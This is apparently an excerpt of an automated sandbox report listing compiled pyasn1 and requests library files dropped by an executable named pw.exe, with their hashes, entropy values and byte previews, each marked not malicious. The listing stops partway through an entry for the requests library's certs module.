Preview:	o.........Sg"V.......................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.e.Z.d.S.)......N)...error)...constraint)...tag)...tagmap)...Asn1Item..Asn1Type..SimpleAsn1Type..ConstructedAsn1Typec....................@...s....e.Z.d.Z.e.d.d.d.....Z.d.S.).r.........c....................C...s4...z.t...j.\|.7..._.W.t.j.S...t.y.......\|.t._.Y.t.j.S.w...N).r....Z._typeCounter..AttributeError)...cls..increment..r.....3C:\recover\pw\lib\site-packages\pyasn1\type\base.py..getTypeId....s..................z.Asn1Item.getTypeIdN).r....)...__name__..__module__..__qualname__..classmethodr....r....r....r....r....r........s..........r....c....................@...s....e.Z.d.Z.d.Z.e.....Z.e.....Z.d.Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d#d.d...Z.d#d.d...Z.e.d.d.....Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d ..Z.d!d"..Z.d.S.)%r....a>...Base class for all classes rep

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\char.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5577
Entropy (8bit):	5.093444284457557
Encrypted:	false
SSDEEP:	96:WhAsswL3b31sUQblFm1dSGaL4in/lqaW5P3ftlSCowp9yQu9MURWu3nph9K:2Asbz1s9bn3GaEicaWR3f2+9ruSURWu8
MD5:	73FD2F7A66514D4B02FE5C5D3AAE1A71
SHA1:	74EA84DA3883042A6AEBD86ABCF0EE1C174C837F
SHA-256:	8ED6369C78E5D0D259C6D0526646D4A71CBBAB54DCBEE8A8F3378A04E09686C5
SHA-512:	B618C66110FC51578D82D1B0243240FDDD99D807AAC0647FC4854FE3AD2E61DD55836FDC4880CF8F72E006C0AA90A61993A7F24C00D0D83D3FAD696E56B1F7AC
Malicious:	false
Preview:	o.........Sg.$.......................@...s&...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d d!..d!e...Z.d.S.)".....N)...error)...tag)...univ)...NumericString..PrintableString..TeletexString..T61String..VideotexString..IA5String..GraphicString..VisibleString..ISO646String..GeneralString..UniversalString..BMPString..UTF8Stringc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.S.)...AbstractCharacterStringa....Creates \|ASN.1\| schema or value object... \|ASN.1\| class is based on :class:`~pyasn1.type.base.SimpleAsn1Type`,. its objects are immutable and duck-type :class:`bytes`.. When used in octet-stream context, \|ASN.1\| type assumes. "\|encoding\|" encoding... Keyword Args. -----------

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\constraint.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	23692
Entropy (8bit):	5.13140671385889
Encrypted:	false
SSDEEP:	384:zYMrgCqqRCO/Wsd9fTiuYOseVCTet2K4fnORtAlxkVUjNptXeW8na+MVMru:8XCNRDxBGlO3VmrfnORtUkC1eW6XMVMi
MD5:	14DADE49F9B4F1F36A6134D3445C314C
SHA1:	1224E9742999663B438D677D70F4C867C6943EF9
SHA-256:	76C874CDD8875516A66379493A30790E9F76392AA79CF1483BFB070F904597B0
SHA-512:	58B5BCB3DB5FA4155A187A46B67BF0F07C29F01271CF1DA1BD1C433C48717B5E578A0076FCBF8ED924F982B29BDFD0D46272BD008987DD79566D8C1DFC90D639
Malicious:	false
Preview:	o.........Sg.U.......................@...s....d.d.l.Z.d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.) .....N)...error)...SingleValueConstraint..ContainedSubtypeConstraint..ValueRangeConstraint..ValueSizeConstraint..PermittedAlphabetConstraint..InnerTypeConstraint..ConstraintsExclusion..ConstraintsIntersection..ConstraintsUnionc....................@...s....e.Z.d.Z.d.d...Z.d"d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d.S.)#..AbstractConstraintc....................G...s*...t...\|._.\|...\|.....t.\|.j.j.\|.j.f...\|._.d.S...N)...set.._valueMap.._setValues..hash..__class__..__name__.._values.._AbstractConstraint__hash....self..values..r.....9C:\recover\pw\lib\site-packages\pyasn1\type\constraint.py..__init__....s..........z

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\error.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	364
Entropy (8bit):	4.601999574128251
Encrypted:	false
SSDEEP:	6:y/FFYNbsu3gMlCep2AInXx9YLIKP66GS9o57kArdKxqXKUeh/QGD7/W+ho:CcNQEgYCeeQ22xsneh/j7/W+ho
MD5:	DA3BB338EB85A4D928E0B078C44F6501
SHA1:	E24F78669C6C09B8AE6EAEC21AF8790960A5335D
SHA-256:	87FDF9D93420ACD4D06F1936FD9D05EF4A573EB68F5074F123E3CF42F6C701C9
SHA-512:	A91AF44519AC9C0EA3D2E0CC61C8618D8FB1A908FA35F3DC2796B18C7FDA1B13EA20703EE95DFFE221858D5C91E25DB03AE2E3395F22373E7C7EFF3B3EC03B7B
Malicious:	false
Preview:	o.........Sg.........................@...s ...d.d.l.m.Z...G.d.d...d.e...Z.d.S.)......)...PyAsn1Errorc....................@...s....e.Z.d.Z.d.S.)...ValueConstraintErrorN)...__name__..__module__..__qualname__..r....r.....4C:\recover\pw\lib\site-packages\pyasn1\type\error.pyr........s........r....N).Z.pyasn1.errorr....r....r....r....r....r......<module>....s........

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\namedtype.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	18315
Entropy (8bit):	5.137673557011776
Encrypted:	false
SSDEEP:	384:rsQFyFRXOxlx+se3L2qeWNqb4UF1ducijQxfA3HtADIrt:VFeql8sgL2HWNq8UF1ducijQxf2rt
MD5:	AE7F061FEBE29432FCE6889F8E632BBE
SHA1:	1C55599FC7675D3AFDF464D229EEC5E142D4D4D3
SHA-256:	A23443E4CEB50D8C7A3591A3375923DCE6D90E33F6A3EE4BCAD180A45DCEBDB3
SHA-512:	36D512E87A95D586D83393050FC68B9DB065E0C80C772D0337C238EF2BACE66BCA2D402B27A9C401A02AAF97FC1F24A68FE929664A57E758755B14E85A7190DB
Malicious:	false
Preview:	o.........Sg3?.......................@...sx...d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...error)...tag)...tagmap)...NamedType..OptionalNamedType..DefaultedNamedType..NamedTypesc....................@...s....e.Z.d.Z.d.Z.d.Z.d.Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d d!..Z.d"d#..Z.d.S.)%r....a....Create named field object for a constructed ASN.1 type... The \|NamedType\| object represents a single name and ASN.1 type of a constructed ASN.1 type... \|NamedType\| objects are immutable and duck-type Python :class:`tuple` objects. holding name and asn1Object components... Parameters. ----------. name: :py:class:`str`. Field name.. asn1Object:. ASN.1 type object. FNc....................C...s ...\|.\|._.\|.\|._.\|.\|.f.\|._.\|.\|._.d.S...N)..._NamedType__name.._NamedType__type.._NamedType__na

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\namedval.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5456
Entropy (8bit):	5.130161800793977
Encrypted:	false
SSDEEP:	96:i7bLr4jGns+GAwQvrrmPzKJzXzr72pL2LWHbIGpwhShNC4nxxrWqYx5qiwd:hjcs+GAwQTrmGh2pgWHkGOkhVnxxrahY
MD5:	1BE870F774D80746739B32E153D28257
SHA1:	F2A25AF0A442851019912C8C870B515E0EA64277
SHA-256:	DF71F8AF19EE53D029EDE577CE6DE4A69800175CA468F02CD5D1DD9E3207BE72
SHA-512:	DD2710C85E8421EDA199DEABEBAA71747CDB1535EC802906392CB4DF0930C277792EFEFE49162B541DDA80155EE2AFE5409D77DC31997A9D79D913AF8CCA55CA
Malicious:	false
Preview:	o.........Sg#........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..NamedValuesc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,S.)-r....a....Create named values object... The \|NamedValues\| object represents a collection of string names. associated with numeric IDs. These objects are used for giving. names to otherwise numerical values... \|NamedValues\| objects are immutable and duck-type Python. :class:`dict` object mapping ID to name and vice-versa... Parameters. ----------. args: variable number of two-element :py:class:`tuple`.. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric value.. Keyword Args. ------------. name: :py:class:`str`. Value label.. value: :py:class:`int`. Numeric valu

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\tag.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10177
Entropy (8bit):	5.0207802468643665
Encrypted:	false
SSDEEP:	192:XOjGsnVvD7K+qqlTckRWnzSO4U/KNrNr2RPb0qn:mHnV77/HRWnZ4U/xb0q
MD5:	7DADD6B730CC4F037D26FB5DCD660B40
SHA1:	E442823EB30BA6D695C30607546CBD56D1C83CB7
SHA-256:	B7ED901C35E26974F4220919D25E2AC7397B02D2B5C19B2F0B9C4C45B251A5D4
SHA-512:	10113D93EBE24244CD94E43703FEBB0D7FE1C27A005F8613FAAB41CA0EB92C40392DDBB4BCD597938966D96800C786D9636C5A6472F3F6B5AA258C9418498328
Malicious:	false
Preview:	o.........Sg.%.......................@...sd...d.d.l.m.Z...g.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.d...Z.d.S.)......)...error)...tagClassUniversal..tagClassApplication..tagClassContext..tagClassPrivate..tagFormatSimple..tagFormatConstructed..tagCategoryImplicit..tagCategoryExplicit..tagCategoryUntagged..Tag..TagSet.@............. ..................c....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d d!....Z.d"S.)#r....a....Create ASN.1 tag.. Represents ASN.1 tag that can be attached to a ASN.1 type to make. types distinguishable from each other... Tag objects are immutable and duck-type Python :class:`tuple` objects. holding three integer components of a tag... Parameters. ----------. tagClass: :py:class:`int`. Tag class value.. tagFormat: :py:class:`int`. Tag format value.. tagId: :

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\tagmap.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3277
Entropy (8bit):	5.117284461667268
Encrypted:	false
SSDEEP:	96:rt0P0oyge+xYwfuh9DYlaO+6HNvXHpqEo:rt0P0oLnGwmz8HNgEo
MD5:	18CFDC27EE6933BC4102CB90E989B9F8
SHA1:	90F4DF027FB5D14F54DE2EA48304BE3BCE6B5C64
SHA-256:	47434C943DE6318083E962C994568BD4C8454DEB3ADB4A602B204A0CF4566FA5
SHA-512:	F82E633A5FDB7448867202A55CDD6B6650885F306D33E58E9795A29D99544CFF41A852DDC03C5344CCA7C07D80F3F329ECE90EA01523103123A3E45184C7C229
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.m.Z...d.g.Z.G.d.d...d.e...Z.d.S.)......)...error..TagMapc....................@...sv...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....aF...Map TagSet objects to ASN.1 types.. Create an object mapping TagSet object to ASN.1 type... TagMap objects are immutable and duck-type read-only Python. :class:`dict` objects holding TagSet objects as keys and ASN.1. type objects as values... Parameters. ----------. presentTypes: :py:class:`dict`. Map of :class:`~pyasn1.type.tag.TagSet` to ASN.1 objects considered. as being unconditionally present in the TagMap... skipTypes: :py:class:`dict`. A collection of :class:`~pyasn1.type.tag.TagSet` objects considered. as absent in the TagMap even when defaultType is present... defaultType: ASN.1 type object. An ASN.1 type object callee TagMap returns for

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\univ.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	93750
Entropy (8bit):	5.298856207688844
Encrypted:	false
SSDEEP:	1536:/lNBPPmHi1lw8zdxtKNaRdsSxRQxZvzEIAYWTJdqH/uN6xjjQT/8kKXDlCydymtD:/fw8pxtKNaRdsSxRQxZvzEIAYWTJdqH1
MD5:	4DB4DC454D2DB3762B60F0376922CBD6
SHA1:	5F4307BFDBB986A457B0AF6F06C2A19580AAEAD1
SHA-256:	9EA78A54AD7E99B18713AE9157E1E8A7003826A39528C6906C60FD77B77C7512
SHA-512:	8F0A8B6CA526E7B1ED2BA9FBA479E756A156D9847098305CC9B29F7EDCF01326468EFA7D88FE862CE293F6C201E91029A45C1193E88AC1508D0FB2D223C72D80
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.e...Z.g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d d!..d!e.j...Z.G.d"d#..d#e...Z G.d$d%..d%e...Z!G.d&d'..d'e.j...Z"G.d(d)..d)e"..Z#G.d*d+..d+e"..Z$G.d,d-..d-e$..Z%G.d.d/..d/e...Z&d.S.)0.....N)...error)...eoo)...integer)...base)...constraint)...namedtype)...namedval)...tag)...tagmap)...Integer..Boolean..BitString..OctetString..Null..ObjectIdentifier..Real..Enumerated..SequenceOfAndSetOfBase..SequenceOf..SetOf..SequenceAndSetBase..Sequence..Set..Choice..Any..NoValue..noValuec....................@...s....e.Z.d.Z.d.Z.e...e...e.j.e.j.d.....Z.e.....Z.e.....Z.e.j.....Z.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"

C:\recover\pw\lib\site-packages\pyasn1\type\pycache\useful.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4380
Entropy (8bit):	5.416385729020663
Encrypted:	false
SSDEEP:	96:paHaqgsioPefkBzr3Acd0XPSWhXgxTdeqTALFI8WoTFfI7YHpiZA:PTaIklA00/Sc6nTgFIDoJg7YHJ
MD5:	E30075996DB8198212D1B024514F4E4B
SHA1:	5140A18B147E74BC6C41C1E99078775E089DD474
SHA-256:	FA530F597BEE9076749346E4365DF2519F37B8F90B0B5D1CEDE7C6955281385A
SHA-512:	B232CA04263581A664F53B5D26B44750B16B935C4A5EEE470A06D7D7AF2BE18F6413EE13DFB4E46130B390B516592232492F9AA6B99E71ABCEDE475FF7259C62
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.e.j.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e.j.e...Z.G.d.d...d.e.j.e...Z.d.S.)......N)...error)...char)...tag)...univ)...ObjectDescriptor..GeneralizedTime..UTCTimec....................@...s:...e.Z.d.Z.e.j.j.Z.e.j.j...e...e.j.e.j.d.....Z.e.j.....Z.d.S.).r.........N)...__name__..__module__..__qualname__r......GraphicString..__doc__..tagSet..tagImplicitlyr......Tag..tagClassUniversal..tagFormatSimple..getTypeId..typeId..r....r.....5C:\recover\pw\lib\site-packages\pyasn1\type\useful.pyr........s................r....c....................@...sL...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.e...Z.e.d.d.....Z.e.d.d.....Z.d.S.)...TimeMixIn.....Fc....................@...s2...e.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.TimeMixIn.FixedOffsetz&Fixed offset in minutes east from UTC.r......UTCc....................C...s....t.j.\|.d...\|._.\|.\|._.d.S.).N)...minutes)...datetime

C:\recover\pw\lib\site-packages\requests\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3889
Entropy (8bit):	5.776134775305807
Encrypted:	false
SSDEEP:	96:zqPoGNOeYVGivMhhFJQlIgSdAhotpVaxdses42WQXIBmPy6V7:eP8MhqKgSehjdFQYBwh
MD5:	A7E544C6614DA13E0F3E8CE3262D02E3
SHA1:	81499E9C969E54A449824377B7182B8D25837588
SHA-256:	673A34D4B047196EA2035B06BDDCAA86C5BE625EE1FB7F7B1992FCA71521D333
SHA-512:	314A6773E1DB3F17B3705C81C8098AB36199EC21ED893C3E9DF36DC780DE1B77B3FAE47C7E68BFCC18761A7015FF5D13A1FD8E867CF4A8BD44E82C26492AB457
Malicious:	false
Preview:	o.........Sg.........................@...sL...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...z.d.d.l.m.Z...W.n...e.y#......d.Z.Y.n.w.z.d.d.l.m.Z...W.n...e.y7......d.Z.Y.n.w.d.d...Z.d.d...Z.z.e.e.j.e.e.....W.n...e.e.f.y`......e...d...e.j.e.e...e.....Y.n.w.z.z.d.d.l.Z.W.n...e.ys......d.Z.Y.n.w.e.e.d.d...s.d.d.l.m.Z...e.......d.d.l.m.Z...e.e.....W.n...e.y.......Y.n.w.d.d.l.m.Z...e...d.e.....d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m.Z...d.d.l)mZm+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1..d.d.l.m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;..d.d.l<m=Z=m>Z>m?Z?..d.d.l@mAZAmBZB..d.d.lCmDZD..e..EeF...Ge.......e.j.d.e4d.d.....d.S.).a.....Requests HTTP Library.~~~~~~~~~~~~~~~~~~~~~..Requests is an HTTP library, written in Python, for human beings..Basic GET usage:.. >>> import requests. >>> r = requests.get('https://www.python.org'). >>> r.status_code. 200. >>> b'Python is a programming language' in r.content. True..... or POST:.. >>> payload = dict(key1='value1', key2='value2

C:\recover\pw\lib\site-packages\requests\pycache\version.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	503
Entropy (8bit):	5.451074026233786
Encrypted:	false
SSDEEP:	12:CLUexOsG8ReRyu7msvBXV5b4SazcAFAu63WcV1Rm7hooookk:IxdOyqmsvBF5McAFAu6pR4ek
MD5:	A20A5FAEE6E587992313B25A4C754292
SHA1:	1FE7B18A5D580D292541E02B8B6B8E518DF17405
SHA-256:	7CEF2AD1C768876CBB28352443867503FCDEA262055DAFEE9BFF042B98ED6E75
SHA-512:	250C3A5FDB3B360CDE51464F1A9501E0BB16AAE8869C4E9711C72316878755C06FD5E42C7DA72933D75009FBDBAA4835124F5893D37243EAE6CEBBFE3EF72779
Malicious:	false
Preview:	o.........Sg.........................@...s,...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.S.)...requestsz.Python HTTP for Humans.z.https://requests.readthedocs.ioz.2.32.3i.2..z.Kenneth Reitzz.me@kennethreitz.orgz.Apache-2.0z.Copyright Kenneth Reitzu..... .. .N)...__title__..__description__..__url__..__version__..__build__..__author__..__author_email__..__license__..__copyright__..__cake__..r....r.....7C:\recover\pw\lib\site-packages\requests\__version__.py..<module>....s........................

C:\recover\pw\lib\site-packages\requests\pycache\_internal_utils.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1579
Entropy (8bit):	5.631719358822686
Encrypted:	false
SSDEEP:	24:pBUBWmfmQURGWydfvTsNWGioiklxLrWQ5Ycr1OlX471aNNqagEb/m5Q5lC:zUBWAmpGWydoNxLkcr1OlX4Ja8me5Q+
MD5:	FDD1EEFAD839F7E0F6714EF2EA3B953C
SHA1:	6EE834699861947FB117E7F9B8C2EF31CD2A11A9
SHA-256:	A19DB17DF909303886F44E6E61DA41654AD780593316B6B04BC205FE2776487A
SHA-512:	D1AF69618909E893CB1645F09C81B85D1B91F2A375904DFB8FD913B0CDE1E3E55169D5A7F993F5B8EC447AB8B9A3252B99C59E5FD8ABEB48048959DFE22C13EA
Malicious:	false
Preview:	o.........Sg.........................@...sr...d.Z.d.d.l.Z.d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e.e.f.Z.e.e.f.Z.e.e.e.e.i.Z.d.d.d...Z.d.d...Z.d.S.).z..requests._internal_utils.~~~~~~~~~~~~~~..Provides utility functions that are consumed internally by Requests.which depend on extremely few external helpers (such as compat)......N.....)...builtin_strs....^[^:\s][^:\r\n]$z.^[^:\s][^:\r\n]$s....^\S[^\r\n]$\|^$z.^\S[^\r\n]$\|^$..asciic....................C...s ...t.\|.t...r.\|.}.\|.S.\|...\|...}.\|.S.).z.Given a string object, regardless of type, returns a representation of. that string in the native string type, encoding and decoding where. necessary. This assumes ASCII unless told otherwise.. )...isinstancer......decode)...string..encoding..out..r.....;C:\recover\pw\lib\site-packages\requests\_internal_utils.py..to_native_string....s..............r....c....................C...s4...t.\|.t...s.J...z.\|...d.....W.d.S...t.y.......Y.d.S.w.).z.Determine if unicode string only c

C:\recover\pw\lib\site-packages\requests\pycache\adapters.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21993
Entropy (8bit):	5.4284984389838264
Encrypted:	false
SSDEEP:	384:zmMgzG/lVfA1fIGIZ4Wj6EE28aauabYqpXMNpeux9URUlegWjvPWVhynNJRIVv8l:e0TQfIGw4qpmcUp5luxifgCWSYvH9yck
MD5:	CBDA3E0A4F5E57E0CDE7E4D0AEBEE59D
SHA1:	465C77E5304D24032C058F25273AE80B907E566F
SHA-256:	FC358E14A2E1CF3C8B543125ABEAD17905D28BAA60D4A69084802C5FAB0165F7
SHA-512:	28F6D7CAD538A7768FA68A96038C14ED56E771B3A3C6A09B7990176579880740AF09A9DFBEA843D2E41CFAA631D893495F2C4C9EED5AC12A8BA2D78CC97EC28D
Malicious:	false
Preview:	o.........Sg;k.......................@...s&...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l m!Z!..d.d.l"m#Z#..d.d.l$m%Z%m&Z&..d.d.l'm(Z(..d.d.l)mZm+Z+m.Z.m,Z,m-Z-m.Z.m.Z.m/Z/m0Z0m.Z...d.d.l1m2Z2..d.d.l3m4Z4..d.d.l5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<..z.d.d.l=m>Z>..W.n...e?y.......d.d...Z>Y.n.w.e.j@r.d.d.l1mAZA..d.ZBd.ZCd.ZDd.ZEz.d.d.lFZFe!..ZGeG.He7e6......W.n...e?y.......d.ZGY.n.w........ .!.".#.$.%.&d-d'd(..ZIG.d)d..d..ZJG.d+d,..d,eJ..ZKd.S.).z..requests.adapters.~~~~~~~~~~~~~~~~~..This module contains the transport adapters that Requests uses to define.and maintain connections.......N)...ClosedPoolError..ConnectTimeoutError)...HTTPError)...InvalidHeader)...LocationValueError..MaxRetryError..NewConnectionError..ProtocolError)...ProxyError)...ReadTimeoutError..ResponseError)...SSLError)...PoolManager..proxy_from_url)...Timeout)...parse_ur

C:\recover\pw\lib\site-packages\requests\pycache\api.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6679
Entropy (8bit):	5.135953883884261
Encrypted:	false
SSDEEP:	96:34kMfrO7AyGLluXW87ZolNAzj8t8fYat9DMGm6RGmOsGmfiC:ZMDY7EeZjM8GeRys2C
MD5:	04D8812EBA3B27A85A45F2D783053958
SHA1:	C7C6273EA165EDA8CA7B8DBAAAA45DE263C02DFC
SHA-256:	A22EC1CBBEAC1B7E23A66438CABC5765E7BF02252532A7B0E53B3AF19665AFC8
SHA-512:	FF9F832DEB33157D5570FE4F950BDD5F81E49F30B10043F642D7BDE1643E4EFFF4323D091298EE16392791C788CC2A6FAF6B9C75228DDA39176CBE569FC4C479
Malicious:	false
Preview:	o.........Sg1........................@...s\...d.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z..requests.api.~~~~~~~~~~~~..This module implements the Requests API...:copyright: (c) 2012 by Kenneth Reitz..:license: Apache2, see LICENSE for more details.......)...sessionsc....................K...sB...t.......}.\|.j.d.\|.\|.d...\|.....W...d.........S.1.s.w.......Y...d.S.).a....Constructs and sends a :class:`Request <Request>`... :param method: method for the new :class:`Request` object: ``GET``, ``OPTIONS``, ``HEAD``, ``POST``, ``PUT``, ``PATCH``, or ``DELETE``.. :param url: URL for the new :class:`Request` object.. :param params: (optional) Dictionary, list of tuples or bytes to send. in the query string for the :class:`Request`.. :param data: (optional) Dictionary, list of tuples, bytes, or file-like. object to send in the body of the :class:`Request`.. :param json: (optional) A JSON serializable Python object to se

C:\recover\pw\lib\site-packages\requests\pycache\auth.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8075
Entropy (8bit):	5.481324414422117
Encrypted:	false
SSDEEP:	192:2B07m1AjzLPVCFA1PCGLcBCJI1W22VjwTrhhbVYy:i07m1iVCOPCGLRWW22aTNhl
MD5:	7098B9A0227102438F14AEE9B3EBE664
SHA1:	E1B222773C0F8FC0F1C575FDE658B7C6F9DEEECD
SHA-256:	C2DF5BFFE2EFEC86AFA303598D1D896DE0E86DE9ECA553483043E666A242C489
SHA-512:	F1E52051CD85EAFD465010D34A8B834ADC56C69ADA61C94AE2C6BA40062CB0A872B8ACB510A9DFEC6C888CB332FB66D653CFE5FFB667E9047A57D4A80E8AB98A
Malicious:	false
Preview:	o.........Sg.'.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z].requests.auth.~~~~~~~~~~~~~..This module contains the authentication handlers for Requests.......N)...b64encode.....)...to_native_string)...basestring..str..urlparse)...extract_cookies_to_jar)...parse_dict_headerz!application/x-www-form-urlencodedz.multipart/form-datac....................C...s....t.\|.t...s.t.j.d...\|...t.d.....t.\|...}.t.\|.t...s(t.j.d...t.\|.....t.d.....t.\|...}.t.\|.t...r2\|...d...}.t.\|.t...r<\|...d...}.d.t.t.d...\|.\|.f.............}.\|.S.).z.Returns a Basic Auth string.z.Non-string usernames will no longer be supported in Requests 3.0.0. Please convert the object you've passed in ({!r}) to a string or bytes object in the near future to avoid problems.)...categoryz.Non-string passwords will no longer be supported in Requests 3.0

C:\recover\pw\lib\site-packages\requests\pycache\certs.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	580
Entropy (8bit):	5.211078282176828
Encrypted:	false
